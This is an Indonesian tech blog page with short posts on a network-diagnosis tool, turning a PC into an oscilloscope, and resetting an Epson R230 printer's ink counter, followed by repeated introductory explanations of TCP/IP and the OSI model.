Bila anda mendapat masalah dari koneksi internet, tidak perlu panik. Karena ada aplikasi untuk mencari tahu apa penyebabnya. Aplikasi itu bernama VisualRaoute lite Edition.
Aplikasi ini mampu menganalisis KonekSi Internet, dan mengedintifikasikan penyebab masalah. Dan hebatnya, analisis yang disajikan menginformasikan routing Network dengan tampilan grafik.
Dengan bantuan grafik ini, semua masalah yang dihadapi, mulai dari data loss hingga slow response dapat dengan mudah di ketahui.
Untuk mendownloadnya, dapat disini : http://download.visualware.com/pub/vr/vrle.exe
Fr377.
Bikin PC Jadi Osciloscope
2010-03-24
Wah....... Ada tuges Proyek.
Sialnya peralatan yang digunakan adalah osciloscope. Hargnya Muahaaaaaaaal banget.
Akhirnya saya sedikit berfikir kebalek, ngubah kompie saya jadi osciloscope. saya cari2 di om-google, akhirnya ketemu juga sebuah website tentang delphi. Disana ada banyak banget source code delphi keren2 lagi.
Trus ada deh source code untuk bikin osciloscope.
kalo mau linknya ada disni,
Hmmmm.... tinggal ubah dikit jadi deh.
Tapi, ada lagi neh software yang bisa bikin PC jadi Osciloscope yang lengkap banget. Namannya PicoScope. Sayangnnya Software ini ngak gratis. Kalo mau download demonya bisa disini. Tools ini banyak banget gunanya, antara lain :
Sialnya peralatan yang digunakan adalah osciloscope. Hargnya Muahaaaaaaaal banget.
Akhirnya saya sedikit berfikir kebalek, ngubah kompie saya jadi osciloscope. saya cari2 di om-google, akhirnya ketemu juga sebuah website tentang delphi. Disana ada banyak banget source code delphi keren2 lagi.
Trus ada deh source code untuk bikin osciloscope.
kalo mau linknya ada disni,
Hmmmm.... tinggal ubah dikit jadi deh.
Tapi, ada lagi neh software yang bisa bikin PC jadi Osciloscope yang lengkap banget. Namannya PicoScope. Sayangnnya Software ini ngak gratis. Kalo mau download demonya bisa disini. Tools ini banyak banget gunanya, antara lain :
- Oscilloscope – turn your PC into a powerful oscilloscope
- XY oscilloscope – plot one channel again another
- Digital persistence – spot glitches the easy way
- Math channels – invert, add, subtract, multiply and divide channels, or create your own functions
- Automated measurements – display a wide array of measurements and statistics
- Spectrum analyzer – view signals in the frequency domain
- Arbitrary waveform generator – generate a waveform of almost any shape
- Mask limit testing – see when a waveform or spectrum goes outside a specified area
- Serial decoding – decode data from a serial bus such as CAN bus
- Best of the rest – other features
Reset Epson R230
Printer Epson R230 tidak diragukan lagi kemampuannya. Perwatannya juga cukup gampang. Tapi, kalo printer ini terlalu banyak ngeprint, printer ini harus direset kembali.
Nah, kali ini saya akan membahas bagaimana caranya untuk mereset printer ini, gak perlu jauh-jauh ke tempat reparasi printer.
Cara reset printer epson r230:
1. Langkah pertama download softwarenya dulu. Softwarenya bernama sscserve, bisa andadownload di : http://www.4shared.com/file/82227035/e418e577/sscserve_2_.html
setelah anda download trus anda install. Sebelumnya hidupakan printer. Setelah di install akan muncul window dan pilih jenis printer r230 pada printer model kemudian close window.
2. Kemudian pada icon sscserve sebelah kanan bawah anda klik kanan, maka akan tampil menu sscserve (seperti di bawah ini):
Setelah tampilan muncul, kemudian pilih protektion counter, dan anda klik reset protectioncounter. Kemudian matikan printer dan hidupkan kembali.
Maka masalah pun akan hilang dan printer kembali normal.
Gampang kan....!!!!!!!
Nah, kali ini saya akan membahas bagaimana caranya untuk mereset printer ini, gak perlu jauh-jauh ke tempat reparasi printer.
Cara reset printer epson r230:
1. Langkah pertama download softwarenya dulu. Softwarenya bernama sscserve, bisa andadownload di : http://www.4shared.com/file/82227035/e418e577/sscserve_2_.html
setelah anda download trus anda install. Sebelumnya hidupakan printer. Setelah di install akan muncul window dan pilih jenis printer r230 pada printer model kemudian close window.
2. Kemudian pada icon sscserve sebelah kanan bawah anda klik kanan, maka akan tampil menu sscserve (seperti di bawah ini):
Setelah tampilan muncul, kemudian pilih protektion counter, dan anda klik reset protectioncounter. Kemudian matikan printer dan hidupkan kembali.
Maka masalah pun akan hilang dan printer kembali normal.
Gampang kan....!!!!!!!
Dasar TCP/IP
TCP/IP (singkatan dari Transmission Control Protocol/Internet Protocol) adalah standar komunikasi data yang digunakan oleh komunitas internet dalam proses tukar-menukar data dari satu komputer ke komputer lain di dalam jaringan Internet. Protokol ini tidaklah dapat berdiri sendiri, karena memang protokol ini berupa kumpulan protokol (protocol suite). Protokol ini juga merupakan protokol yang paling banyak digunakan saat ini. Data tersebut diimplementasikan dalam bentuk perangkat lunak (software) di sistem operasi. Istilah yang diberikan kepada perangkat lunak ini adalah TCP/IP stack.
Protokol TCP/IP dikembangkan pada akhir dekade 1970-an hingga awal 1980-an sebagai sebuah protokol standar untuk menghubungkan komputer-komputer dan jaringan untuk membentuk sebuah jaringan yang luas (WAN). TCP/IP merupakan sebuah standar jaringan terbuka yang bersifat independen terhadap mekanisme transport jaringan fisik yang digunakan, sehingga dapat digunakan di mana saja. Protokol ini menggunakan skema pengalamatan yang sederhana yang disebut sebagai alamat IP (IP Address) yang mengizinkan hingga beberapa ratus juta komputer untuk dapat saling berhubungan satu sama lainnya di Internet. Protokol ini juga bersifat routable yang berarti protokol ini cocok untuk menghubungkan sistem-sistem berbeda (seperti Microsoft Windows dan keluarga UNIX) untuk membentuk jaringan yang heterogen.
Protokol TCP/IP selalu berevolusi seiring dengan waktu, mengingat semakin banyaknya kebutuhan terhadap jaringan komputer dan Internet. Pengembangan ini dilakukan oleh beberapa badan, seperti halnya Internet Society (ISOC), Internet Architecture Board (IAB), dan Internet Engineering Task Force (IETF). Macam-macam protokol yang berjalan di atas TCP/IP, skema pengalamatan, dan konsep TCP/IP didefinisikan dalam dokumen yang disebut sebagai Request for Comments (RFC) yang dikeluarkan oleh IETF.
1. Arsitektur
Arsitektur TCP/IP tidaklah berbasis model referensi tujuh lapis OSI, tetapi menggunakan model referensi DARPA. Seperti diperlihatkan dalam diagram, TCP/IP merngimplemenasikan arsitektur berlapis yang terdiri atas empat lapis. Empat lapis ini, dapat dipetakan (meski tidak secara langsung) terhadap model referensi OSI. Empat lapis ini, kadang-kadang disebut sebagai DARPA Model, Internet Model, atau DoD Model, mengingat TCP/IP merupakan protokol yang awalnya dikembangkan dari proyek ARPANET yang dimulai oleh Departemen Pertahanan Amerika Serikat.
Setiap lapisan yang dimiliki oleh kumpulan protokol (protocol suite) TCP/IP diasosiasikan dengan protokolnya masing-masing. Protokol utama dalam protokol TCP/IP adalah sebagai berikut:
* Protokol lapisan aplikasi: bertanggung jawab untuk menyediakan akses kepada aplikasi terhadap layanan jaringan TCP/IP. Protokol ini mencakup protokol Dynamic Host Configuration Protocol (DHCP), Domain Name System (DNS), Hypertext Transfer Protocol (HTTP), File Transfer Protocol (FTP), Telnet, Simple Mail Transfer Protocol (SMTP), Simple Network Management Protocol (SNMP), dan masih banyak protokol lainnya. Dalam beberapa implementasi stack protokol, seperti halnya Microsoft TCP/IP, protokol-protokol lapisan aplikasi berinteraksi dengan menggunakan antarmuka Windows Sockets (Winsock) atau NetBIOS over TCP/IP (NetBT).
* Protokol lapisan antar-host: berguna untuk membuat komunikasi menggunakan sesi koneksi yang bersifat connection-oriented atau broadcast yang bersifat connectionless. Protokol dalam lapisan ini adalah Transmission Control Protocol (TCP) dan User Datagram Protocol (UDP).
* Protokol lapisan internetwork: bertanggung jawab untuk melakukan pemetaan (routing) dan enkapsulasi paket-paket data jaringan menjadi paket-paket IP. Protokol yang bekerja dalam lapisan ini adalah Internet Protocol (IP), Address Resolution Protocol (ARP), Internet Control Message Protocol (ICMP), dan Internet Group Management Protocol (IGMP).
* Protokol lapisan antarmuka jaringan: bertanggung jawab untuk meletakkan frame-frame jaringan di atas media jaringan yang digunakan. TCP/IP dapat bekerja dengan banyak teknologi transport, mulai dari teknologi transport dalam LAN (seperti halnya Ethernet dan Token Ring), MAN dan WAN (seperti halnya dial-up modem yang berjalan di atas Public Switched Telephone Network (PSTN), Integrated Services Digital Network (ISDN), serta Asynchronous Transfer Mode (ATM)).
2. Pengalamatan
Protokol TCP/IP menggunakan dua buah skema pengalamatan yang dapat digunakan untuk mengidentifikasikan sebuah komputer dalam sebuah jaringan atau jaringan dalam sebuah internetwork, yakni sebagai berikut:
* Pengalamatan IP: yang berupa alamat logis yang terdiri atas 32-bit (empat oktet berukuran 8-bit) yang umumnya ditulis dalam format www.xxx.yyy.zzz. Dengan menggunakan subnet mask yang diasosiasikan dengannya, sebuah alamat IP pun dapat dibagi menjadi dua bagian, yakni Network Identifier (NetID) yang dapat mengidentifikasikan jaringan lokal dalam sebuah internetwork dan Host identifier (HostID) yang dapat mengidentifikasikan host dalam jaringan tersebut. Sebagai contoh, alamat 205.116.008.044 dapat dibagi dengan menggunakan subnet mask 255.255.255.000 ke dalam Network ID 205.116.008.000 dan Host ID 44. Alamat IP merupakan kewajiban yang harus ditetapkan untuk sebuah host, yang dapat dilakukan secara manual (statis) atau menggunakan Dynamic Host Configuration Protocol (DHCP) (dinamis).
* Fully qualified domain name (FQDN): Alamat ini merupakan alamat yang direpresentasikan dalam nama alfanumerik yang diekspresikan dalam bentuk., di mana mengindentifikasikan jaringan di mana sebuah komputer berada, dan mengidentifikasikan sebuah komputer dalam jaringan. Pengalamatan FQDN digunakan oleh skema penamaan domain Domain Name System (DNS). Sebagai contoh, alamat FQDN id.wikipedia.org merepresentasikan sebuah host dengan nama "id" yang terdapat di dalam domain jaringan "wikipedia.org". Nama domain wikipedia.org merupakan second-level domain yang terdaftar di dalam top-level domain .org, yang terdaftar dalam root DNS, yang memiliki nama "." (titik). Penggunaan FQDN lebih bersahabat dan lebih mudah diingat ketimbang dengan menggunakan alamat IP. Akan tetapi, dalam TCP/IP, agar komunikasi dapat berjalan, FQDN harus diterjemahkan terlebih dahulu (proses penerjemahan ini disebut sebagai resolusi nama) ke dalam alamat IP dengan menggunakan server yang menjalankan DNS, yang disebut dengan Name Server atau dengan menggunakan berkas hosts (/etc/hosts atau %systemroot%\system32\drivers\etc\hosts) yang disimpan di dalam mesin yang bersangkutan.
3. Konsep dasar
3. 1. Layanan
Berikut ini adalah layanan tradisional yang dapat berjalan di atas protokol TCP/IP:
* Pengiriman berkas (file transfer). File Transfer Protocol (FTP) memungkinkan pengguna komputer yang satu untuk dapat mengirim ataupun menerima berkas ke sebuah host di dalam jaringan. Metode otentikasi yang digunakannya adalah penggunaan nama pengguna (user name) dan [[password]], meskipun banyak juga FTP yang dapat diakses secara anonim (anonymous), alias tidak berpassword. (Keterangan lebih lanjut mengenai FTP dapat dilihat pada RFC 959.)
* Remote login. Network terminal Protocol (telnet) memungkinkan pengguna komputer dapat melakukan log in ke dalam suatu komputer di dalam suatu jaringan secara jarak jauh. Jadi hal ini berarti bahwa pengguna menggunakan komputernya sebagai perpanjangan tangan dari komputer jaringan tersebut. (Keterangan lebih lanjut mengenai Telnet dapat dilihat pada RFC 854 dan RFC 855.)
* Computer mail. Digunakan untuk menerapkan sistem surat elektronik. (Keterangan lebih lanjut mengenai e-mail dapat dilihat pada RFC 821 RFC 822.)
* Network File System (NFS). Pelayanan akses berkas-berkas yang dapat diakses dari jarak jauh yang memungkinkan klien-klien untuk mengakses berkas pada komputer jaringan, seolah-olah berkas tersebut disimpan secara lokal. (Keterangan lebih lanjut mengenai NFS dapat dilihat RFC 1001 dan RFC 1002.)
* Remote execution. Memungkinkan pengguna komputer untuk menjalankan suatu program tertentu di dalam komputer yang berbeda. Biasanya berguna jika pengguna menggunakan komputer yang terbatas, sedangkan ia memerlukan sumber yg banyak dalam suatu sistem komputer.
Ada beberapa jenis remote execution, ada yang berupa perintah-perintah dasar saja, yaitu yang dapat dijalankan dalam system komputer yang sama dan ada pula yg menggunakan sistem Remote Procedure Call (RPC), yang memungkinkan program untuk memanggil subrutin yang akan dijalankan di sistem komputer yg berbeda. (sebagai contoh dalam Berkeley UNIX ada perintah rsh dan rexec.)
* Name server yang berguna sebagai penyimpanan basis data nama host yang digunakan pada Internet (Keterangan lebih lanjut dapat dilihat pada RFC 822 dan RFC 823 yang menjelaskan mengenai penggunaan protokol name server yang bertujuan untuk menentukan nama host di Internet.)
3. 2. Request for Comments
RFC (Request For Comments) merupakan standar yang digunakan dalam Internet, meskipun ada juga isinya yg merupakan bahan diskusi ataupun omong kosong belaka. Diterbitkan oleh IAB yang merupakan komite independen yang terdiri atas para peneliti dan profesional yang mengerti teknis, kondisi dan evolusi Internet. Sebuah surat yg mengikuti nomor RFC menunjukan status RFC :
* S: Standard, standar resmi bagi internet
* DS: Draft standard, protokol tahap akhir sebelum disetujui sebagai standar
* PS: Proposed Standard, protokol pertimbangan untuk standar masa depan
* I: Informational, berisikan bahan-bahan diskusi yg sifatnya informasi
* E: Experimental, protokol dalam tahap percobaan tetapi bukan pada jalur standar.
* H: Historic, protokol-protokol yg telah digantikan atau tidak lagi dipertimbankan utk standarisasi.
3. 3. Bagaimanakah bentuk arsitektur dari TCP/IP itu ?
Dikarenakan TCP/IP adalah serangkaian protokol di mana setiap protokol melakukan sebagian dari keseluruhan tugas komunikasi jaringan, maka tentulah implementasinya tak lepas dari arsitektur jaringan itu sendiri. Arsitektur rangkaian protokol TCP/IP mendifinisikan berbagai cara agar TCP/IP dapat saling menyesuaikan.
Karena TCP/IP merupakan salah satu lapisan protokol Model OSI, berarti bahwa hierarki TCP/IP merujuk kepada 7 lapisan OSI tersebut. Tiga lapisan teratas biasa dikenal sebagai "upper level protocol" sedangkan empat lapisan terbawah dikenal sebagai "lower level protocol". Tiap lapisan berdiri sendiri tetapi fungsi dari masing-masing lapisan bergantung dari keberhasilan operasi layer sebelumnya. Sebuah lapisan pengirim hanya perlu berhubungan dengan lapisan yang sama di penerima (jadi misalnya lapisan data link penerima hanya berhubungan dengan lapisan data link pengirim) selain dengan satu layer di atas atau di bawahnya (misalnya lapisan network berhubungan dengan lapisan transport di atasnya atau dengan lapisan data link di bawahnya).
Model dengan menggunakan lapisan ini merupakan sebuah konsep yang penting karena suatu fungsi yang rumit yang berkaitan dengan komunikasi dapat dipecahkan menjadi sejumlah unit yang lebih kecil. Tiap lapisan bertugas memberikan layanan tertentu pada lapisan diatasnya dan juga melindungi lapisan diatasnya dari rincian cara pemberian layanan tersebut. Tiap lapisan harus transparan sehingga modifikasi yang dilakukan atasnya tidak akan menyebabkan perubahan pada lapisan yang lain. Lapisan menjalankan perannya dalam pengalihan data dengan mengikuti peraturan yang berlaku untuknya dan hanya berkomunikasi dengan lapisan yang setingkat. Akibatnya sebuah layer pada satu sistem tertentu hanya akan berhubungan dengan lapisan yang sama dari sistem yang lain. Proses ini dikenal sebagai Peer process. Dalam keadaan sebenarnya tidak ada data yang langsung dialihkan antar lapisan yang sama dari dua sistem yang berbeda ini. Lapisan atas akan memberikan data dan kendali ke lapisan dibawahnya sampai lapisan yang terendah dicapai. Antara dua lapisan yang berdekatan terdapat interface (antarmuka). Interface ini mendifinisikan operasi dan layanan yang diberikan olehnya ke lapisan lebih atas. Tiap lapisan harus melaksanakan sekumpulan fungsi khusus yang dipahami dengan sempurna. Himpunan lapisan dan protokol dikenal sebagai "arsitektur jaringan".
Protokol TCP/IP dikembangkan pada akhir dekade 1970-an hingga awal 1980-an sebagai sebuah protokol standar untuk menghubungkan komputer-komputer dan jaringan untuk membentuk sebuah jaringan yang luas (WAN). TCP/IP merupakan sebuah standar jaringan terbuka yang bersifat independen terhadap mekanisme transport jaringan fisik yang digunakan, sehingga dapat digunakan di mana saja. Protokol ini menggunakan skema pengalamatan yang sederhana yang disebut sebagai alamat IP (IP Address) yang mengizinkan hingga beberapa ratus juta komputer untuk dapat saling berhubungan satu sama lainnya di Internet. Protokol ini juga bersifat routable yang berarti protokol ini cocok untuk menghubungkan sistem-sistem berbeda (seperti Microsoft Windows dan keluarga UNIX) untuk membentuk jaringan yang heterogen.
Protokol TCP/IP selalu berevolusi seiring dengan waktu, mengingat semakin banyaknya kebutuhan terhadap jaringan komputer dan Internet. Pengembangan ini dilakukan oleh beberapa badan, seperti halnya Internet Society (ISOC), Internet Architecture Board (IAB), dan Internet Engineering Task Force (IETF). Macam-macam protokol yang berjalan di atas TCP/IP, skema pengalamatan, dan konsep TCP/IP didefinisikan dalam dokumen yang disebut sebagai Request for Comments (RFC) yang dikeluarkan oleh IETF.
1. Arsitektur
Arsitektur TCP/IP tidaklah berbasis model referensi tujuh lapis OSI, tetapi menggunakan model referensi DARPA. Seperti diperlihatkan dalam diagram, TCP/IP merngimplemenasikan arsitektur berlapis yang terdiri atas empat lapis. Empat lapis ini, dapat dipetakan (meski tidak secara langsung) terhadap model referensi OSI. Empat lapis ini, kadang-kadang disebut sebagai DARPA Model, Internet Model, atau DoD Model, mengingat TCP/IP merupakan protokol yang awalnya dikembangkan dari proyek ARPANET yang dimulai oleh Departemen Pertahanan Amerika Serikat.
Setiap lapisan yang dimiliki oleh kumpulan protokol (protocol suite) TCP/IP diasosiasikan dengan protokolnya masing-masing. Protokol utama dalam protokol TCP/IP adalah sebagai berikut:
* Protokol lapisan aplikasi: bertanggung jawab untuk menyediakan akses kepada aplikasi terhadap layanan jaringan TCP/IP. Protokol ini mencakup protokol Dynamic Host Configuration Protocol (DHCP), Domain Name System (DNS), Hypertext Transfer Protocol (HTTP), File Transfer Protocol (FTP), Telnet, Simple Mail Transfer Protocol (SMTP), Simple Network Management Protocol (SNMP), dan masih banyak protokol lainnya. Dalam beberapa implementasi stack protokol, seperti halnya Microsoft TCP/IP, protokol-protokol lapisan aplikasi berinteraksi dengan menggunakan antarmuka Windows Sockets (Winsock) atau NetBIOS over TCP/IP (NetBT).
* Protokol lapisan antar-host: berguna untuk membuat komunikasi menggunakan sesi koneksi yang bersifat connection-oriented atau broadcast yang bersifat connectionless. Protokol dalam lapisan ini adalah Transmission Control Protocol (TCP) dan User Datagram Protocol (UDP).
* Protokol lapisan internetwork: bertanggung jawab untuk melakukan pemetaan (routing) dan enkapsulasi paket-paket data jaringan menjadi paket-paket IP. Protokol yang bekerja dalam lapisan ini adalah Internet Protocol (IP), Address Resolution Protocol (ARP), Internet Control Message Protocol (ICMP), dan Internet Group Management Protocol (IGMP).
* Protokol lapisan antarmuka jaringan: bertanggung jawab untuk meletakkan frame-frame jaringan di atas media jaringan yang digunakan. TCP/IP dapat bekerja dengan banyak teknologi transport, mulai dari teknologi transport dalam LAN (seperti halnya Ethernet dan Token Ring), MAN dan WAN (seperti halnya dial-up modem yang berjalan di atas Public Switched Telephone Network (PSTN), Integrated Services Digital Network (ISDN), serta Asynchronous Transfer Mode (ATM)).
2. Pengalamatan
Protokol TCP/IP menggunakan dua buah skema pengalamatan yang dapat digunakan untuk mengidentifikasikan sebuah komputer dalam sebuah jaringan atau jaringan dalam sebuah internetwork, yakni sebagai berikut:
* Pengalamatan IP: yang berupa alamat logis yang terdiri atas 32-bit (empat oktet berukuran 8-bit) yang umumnya ditulis dalam format www.xxx.yyy.zzz. Dengan menggunakan subnet mask yang diasosiasikan dengannya, sebuah alamat IP pun dapat dibagi menjadi dua bagian, yakni Network Identifier (NetID) yang dapat mengidentifikasikan jaringan lokal dalam sebuah internetwork dan Host identifier (HostID) yang dapat mengidentifikasikan host dalam jaringan tersebut. Sebagai contoh, alamat 205.116.008.044 dapat dibagi dengan menggunakan subnet mask 255.255.255.000 ke dalam Network ID 205.116.008.000 dan Host ID 44. Alamat IP merupakan kewajiban yang harus ditetapkan untuk sebuah host, yang dapat dilakukan secara manual (statis) atau menggunakan Dynamic Host Configuration Protocol (DHCP) (dinamis).
* Fully qualified domain name (FQDN): Alamat ini merupakan alamat yang direpresentasikan dalam nama alfanumerik yang diekspresikan dalam bentuk
3. Konsep dasar
3. 1. Layanan
Berikut ini adalah layanan tradisional yang dapat berjalan di atas protokol TCP/IP:
* Pengiriman berkas (file transfer). File Transfer Protocol (FTP) memungkinkan pengguna komputer yang satu untuk dapat mengirim ataupun menerima berkas ke sebuah host di dalam jaringan. Metode otentikasi yang digunakannya adalah penggunaan nama pengguna (user name) dan [[password]], meskipun banyak juga FTP yang dapat diakses secara anonim (anonymous), alias tidak berpassword. (Keterangan lebih lanjut mengenai FTP dapat dilihat pada RFC 959.)
* Remote login. Network terminal Protocol (telnet) memungkinkan pengguna komputer dapat melakukan log in ke dalam suatu komputer di dalam suatu jaringan secara jarak jauh. Jadi hal ini berarti bahwa pengguna menggunakan komputernya sebagai perpanjangan tangan dari komputer jaringan tersebut. (Keterangan lebih lanjut mengenai Telnet dapat dilihat pada RFC 854 dan RFC 855.)
* Computer mail. Digunakan untuk menerapkan sistem surat elektronik. (Keterangan lebih lanjut mengenai e-mail dapat dilihat pada RFC 821 RFC 822.)
* Network File System (NFS). Pelayanan akses berkas-berkas yang dapat diakses dari jarak jauh yang memungkinkan klien-klien untuk mengakses berkas pada komputer jaringan, seolah-olah berkas tersebut disimpan secara lokal. (Keterangan lebih lanjut mengenai NFS dapat dilihat RFC 1001 dan RFC 1002.)
* Remote execution. Memungkinkan pengguna komputer untuk menjalankan suatu program tertentu di dalam komputer yang berbeda. Biasanya berguna jika pengguna menggunakan komputer yang terbatas, sedangkan ia memerlukan sumber yg banyak dalam suatu sistem komputer.
Ada beberapa jenis remote execution, ada yang berupa perintah-perintah dasar saja, yaitu yang dapat dijalankan dalam system komputer yang sama dan ada pula yg menggunakan sistem Remote Procedure Call (RPC), yang memungkinkan program untuk memanggil subrutin yang akan dijalankan di sistem komputer yg berbeda. (sebagai contoh dalam Berkeley UNIX ada perintah rsh dan rexec.)
* Name server yang berguna sebagai penyimpanan basis data nama host yang digunakan pada Internet (Keterangan lebih lanjut dapat dilihat pada RFC 822 dan RFC 823 yang menjelaskan mengenai penggunaan protokol name server yang bertujuan untuk menentukan nama host di Internet.)
3. 2. Request for Comments
RFC (Request For Comments) merupakan standar yang digunakan dalam Internet, meskipun ada juga isinya yg merupakan bahan diskusi ataupun omong kosong belaka. Diterbitkan oleh IAB yang merupakan komite independen yang terdiri atas para peneliti dan profesional yang mengerti teknis, kondisi dan evolusi Internet. Sebuah surat yg mengikuti nomor RFC menunjukan status RFC :
* S: Standard, standar resmi bagi internet
* DS: Draft standard, protokol tahap akhir sebelum disetujui sebagai standar
* PS: Proposed Standard, protokol pertimbangan untuk standar masa depan
* I: Informational, berisikan bahan-bahan diskusi yg sifatnya informasi
* E: Experimental, protokol dalam tahap percobaan tetapi bukan pada jalur standar.
* H: Historic, protokol-protokol yg telah digantikan atau tidak lagi dipertimbankan utk standarisasi.
3. 3. Bagaimanakah bentuk arsitektur dari TCP/IP itu ?
Dikarenakan TCP/IP adalah serangkaian protokol di mana setiap protokol melakukan sebagian dari keseluruhan tugas komunikasi jaringan, maka tentulah implementasinya tak lepas dari arsitektur jaringan itu sendiri. Arsitektur rangkaian protokol TCP/IP mendifinisikan berbagai cara agar TCP/IP dapat saling menyesuaikan.
Karena TCP/IP merupakan salah satu lapisan protokol Model OSI, berarti bahwa hierarki TCP/IP merujuk kepada 7 lapisan OSI tersebut. Tiga lapisan teratas biasa dikenal sebagai "upper level protocol" sedangkan empat lapisan terbawah dikenal sebagai "lower level protocol". Tiap lapisan berdiri sendiri tetapi fungsi dari masing-masing lapisan bergantung dari keberhasilan operasi layer sebelumnya. Sebuah lapisan pengirim hanya perlu berhubungan dengan lapisan yang sama di penerima (jadi misalnya lapisan data link penerima hanya berhubungan dengan lapisan data link pengirim) selain dengan satu layer di atas atau di bawahnya (misalnya lapisan network berhubungan dengan lapisan transport di atasnya atau dengan lapisan data link di bawahnya).
Model dengan menggunakan lapisan ini merupakan sebuah konsep yang penting karena suatu fungsi yang rumit yang berkaitan dengan komunikasi dapat dipecahkan menjadi sejumlah unit yang lebih kecil. Tiap lapisan bertugas memberikan layanan tertentu pada lapisan diatasnya dan juga melindungi lapisan diatasnya dari rincian cara pemberian layanan tersebut. Tiap lapisan harus transparan sehingga modifikasi yang dilakukan atasnya tidak akan menyebabkan perubahan pada lapisan yang lain. Lapisan menjalankan perannya dalam pengalihan data dengan mengikuti peraturan yang berlaku untuknya dan hanya berkomunikasi dengan lapisan yang setingkat. Akibatnya sebuah layer pada satu sistem tertentu hanya akan berhubungan dengan lapisan yang sama dari sistem yang lain. Proses ini dikenal sebagai Peer process. Dalam keadaan sebenarnya tidak ada data yang langsung dialihkan antar lapisan yang sama dari dua sistem yang berbeda ini. Lapisan atas akan memberikan data dan kendali ke lapisan dibawahnya sampai lapisan yang terendah dicapai. Antara dua lapisan yang berdekatan terdapat interface (antarmuka). Interface ini mendifinisikan operasi dan layanan yang diberikan olehnya ke lapisan lebih atas. Tiap lapisan harus melaksanakan sekumpulan fungsi khusus yang dipahami dengan sempurna. Himpunan lapisan dan protokol dikenal sebagai "arsitektur jaringan".
OSI MODEL
Pada hal hal tertentu, setiap orang yang terlibat dengan Networking selalu mengacu pada referensi Model 7 layer OSI (Open Systems Interconnection. Sebab Model ini menyediakan arsitektur model kerja untuk semua network dan komputasi komunikasi, ini tempat yang bagus buat memulai. Bahkan jika Anda tidak pernah merencanakan tentang cara mengkonfigurasi jaringan anda sendiri, memahami dan mendalami model ini adalah hal yang paling penting untuk memahami bagaimana itu bekerja.
Model OSI 7 layer menggambarkan fungsi fungsi komputer untuk berkomunikasi dengan tiap tiap komputer lainnya. ISO (The International for Standardization) mempublikasikan model ini tahun 1984 untuk menggambarkan pendekatan berlapis untuk layanan jaringan yang menggunakan referensi seperangkat protokol yang disebut OSI.
Dasar penjelasannya adalah bahwa masing-masing dari tujuh lapisan memiliki fungsi khusus tertentu, dan setiap lapisan perlu tahu bagaimana berkomunikasi dengan hanya lapisan langsung di atas dan di bawahnya.
Kelebihan dari pendekatan OSI ini mungkin tidak terlalu jelas. Tapi konsep sederhana ini memiliki lapisan yang hanya mengerti mereka yang berdekatan dengan diri mereka sendiri memungkinkan sistem komunikasi menjadi mudah diadaptasi dan dimodifikasi seperti teknologi
berevolusi. Misalnya, sebagai teknologi baru diperkenalkan dalam lapisan yang lebih rendah, seperti layer 1, lapisan atas tidak selalu perlu diubah Sebaliknya, adaptasi di Layer 2 memungkinkan lapisan di atas untuk menggunakan teknologi baru secara transparan. Bayangkan jika semua web browser dan program e-mail harus diganti setiap kali sebuah standar jaringan nirkabel baru diperkenalkan.
Ketika model jaringan OSI didefinisikan, ada sedikit standardisasi di antara produsen peralatan jaringan.
Pelanggan umumnya lebih memilih perang komunikasi standar hardware dan software pada vendor tertentu.
Sebagai hasil dari ISO dan upaya standardisasi lainnya, jaringan pelanggan dapat mencampur dan mencocokkan hardware saat menjalankan protokol standar terbuka, seperti Internet Protocol
Open Source versus Software Lisensi
Walaupun model open-source terkenal hari ini, ketika model OSI sedang dikembangkan, ada perjuangan yang berkelanjutan untuk menyeimbangkan keterbukaan teknis dengan keunggulan kompetitif.
Pada waktu itu, masing-masing vendor peralatan jaringan melihatnya sebagai sebuah keuntungan untuk mengembangkan teknologi yang perusahaan lain tidak bisa menyalin atau berinteraksi dengannya.
Namun, sistem paten dapat menyulitkan pekerjaan administrator jaringan dengan cara mengunci dia atau dia ke satu vendor, mengurangi daya saing dan memungkinkan vendor untuk membebankan harga yang lebih tinggi. Jika vendor keluar dari bisnis atau tidak meneruskan teknologi, tidak ada yang tersisa untuk mendukung atau meningkatkan teknologi tersebut.
Alternatifnya adalah pendekatan sistem terbuka di mana badan standar, seperti seperti Institute of Electrical and Electronic Engineers (IEEE) atau ISO, mengembangkan teknologi baru. Ethernet, Transmission Control Protocol / Internet Protocol (TCP / IP), dan Spanning Tree Protocol (STP) adalah contoh teknologi yang menjadi standar. Hari ini hampir tidak mungkin untuk mendapatkan daya tarik pasar dengan
produk yang tidak setidaknya memungkinkan sebuah interface yang terbuka bagi vendor lain untuk bekerja. Setiap vendor peralatan jaringan dapat menerapkan standar terbuka.
Daftar berikut menjabarkan tujuh lapisan model OSI dari bawah ke atas:
* Lapisan 1, fisik Layer: lapisan fisik bertanggung jawab untuk mengubah Frame (output dari layer 2) menjadi sinyal listrik ditransmisikan lewat jaringan. Jaringan fisik yang sebenarnya dapat berupa kabel tembaga, serat optik, sinyal radio nirkabel, atau media lainnya yang dapat membawa sinyal. Lapisan ini juga menyediakan metode untuk perangkat penerima untuk memvalidasi bahwa data tidak rusak selama transmisi.
* Lapisan 2, Data Link Layer: Menyediakan link untuk data, memaketkannya menjadi frame yang berhubungan dengan “hardware” kemudian diangkut melalui media. komunikasinya dengan kartu jaringan, mengatur komunikasi layer physical antara sistem koneksi dan penanganan error.
* Layer 3, Network Layer: Bertanggung jawab menentukan alamat jaringan, menentukan rute yang harus diambil selama perjalanan, dan menjaga antrian trafik di jaringan. Data pada layer ini berbentuk paket.
* Lapisan 4, Transportasi Layer: Layer transport ertanggung jawab membagi data menjadi segmen, menjaga koneksi logika “end-to-end” antar terminal, dan menyediakan penanganan error (error handling). Mempersiapkan data untuk transportasi melibatkan memotong sepotong ke beberapa bagian dan menambahkan sebuah header yang mengidentifikasi pengirim dan penerima aplikasi (atau dikenal sebagai nomor port). Sebagai contoh, Hypertext Transfer Protocol (HTTP) lalu lintas web menggunakan port 80, dan lalu lintas FTP menggunakan port 21
* Lapisan 5, Session Layer: Menentukan bagaimana dua terminal menjaga, memelihara dan mengatur koneksi,- bagaimana mereka saling berhubungan satu sama lain. Koneksi di layer ini disebut “session”.
* Lapisan 6, Presentation Layer: Bertanggung jawab bagaimana data dikonversi dan diformat untuk transfer data. Contoh konversi format text ASCII untuk dokumen, .gif dan JPG untuk gambar. Layer ini membentuk kode konversi, translasi data, enkripsi dan konversi.
* Lapisan 7, Application Layer: Menyediakan jasa untuk aplikasi pengguna. Layer ini bertanggungjawab atas pertukaran informasi antara program komputer, seperti program e-mail, dan service lain yang jalan di jaringan, seperti server printer atau aplikasi komputer lainnya.
